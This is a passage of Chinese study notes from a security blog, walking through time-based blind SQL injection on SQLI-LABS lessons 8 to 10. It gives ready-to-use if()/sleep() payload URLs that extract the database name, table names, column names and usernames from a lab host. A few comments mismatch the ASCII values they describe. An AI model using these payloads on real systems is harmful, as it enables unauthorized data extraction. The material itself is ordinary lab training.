SQLI-LABS修炼笔记(四)

admin 2021年8月21日02:46:26评论38 views字数 2030阅读6分46秒阅读模式

写在前面:今天介绍基于时间的盲注。

我们利用延时注入进行,同时id 参数进行的是一定的处理。主要使用的函数有

if()、sleep()、BENCHMARK()

1.if语句/if()函数

在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确:

if condition then do_something else do_something_else11

即如果某条件发生,那么执行语句一;否则,执行语句二。

在mysql中,if()函数语法如下:

IF(expr1,expr2,expr3)

如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句。

2.sleep()函数

在mysql中,sleep()函数语法如下:

sleep(seconds)

即sleep() 函数代码执行延迟若干秒。

3.BENCHMARK()函数

在mysql中,BENCHMARK()函数语法如下:

BENCHMARK(count,expr)

即BENCHMARK()函数重复执行表达式expr count次。

一般情况下,我们不建议使用BENCHMARK()函数,因为其消耗大量的CPU资源。

参考文章:基于时间型的SQL盲注

http://blog.csdn.net/bear_n/article/details/53057716?locationNum=9&fps=1

这里用sleep()函数。这里因为我们利用的是时间的延迟。

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0.

例如:于是sleep(N)这个语句在这种情况下起到了非常大的作用。

Select sleep(N)可以让此语句运行n秒钟。

但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。

参考文章:Sql注入系列详解(一)—基于时间差的盲注

http://blog.csdn.net/jinzhichaoshuiping/article/details/45568883

进入正题。

less-8

1.首先select database()查询数据库

ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0

ps: 正确的时候直接返回,不正确的时候等待5 秒钟。

http://43.247.91.228:84/Less-8/?id=1 and If(ascii(substr(database(),1,1))=116,1,sleep(5))–+
#说明第一位是s (ascii 码是115)

http://43.247.91.228:84/Less-8/?id=1 and If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
#说明第一位是e (ascii 码是101)

逐渐爆出数据库名。(这里推荐采用二分法,快速爆出库名)

2.爆表

http://43.247.91.228:84/Less-8/?id=1 and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,1,sleep(5))–+

所以第一个数据表的第一位是e…依此爆出emails。

然后爆第二个、第三个表。

3.爆users表的列

http://43.247.91.228:84/Less-8/?id=1 and If(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))=105,1,sleep(5))–+

爆出users表的第一个列的第一个字符是i

逐渐爆出列名 id,username,password

4.爆username列中的数据

http://43.247.91.228:84/Less-8/?id=1 and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))–+

逐渐爆出信息。

less-8 over!

less-9

按照less-8的payload,id加单引号闭合。

less-9 over!

less-10

按照less-8的payload,id加双引号闭合。

less-10 over!

ps:又是漫长的写脚本造轮子的过程,深深感受到开发大佬的心情,写bug改bug2333333…..

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月21日02:46:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLI-LABS修炼笔记(四)http://cn-sec.com/archives/466691.html

发表评论

匿名网友 填写信息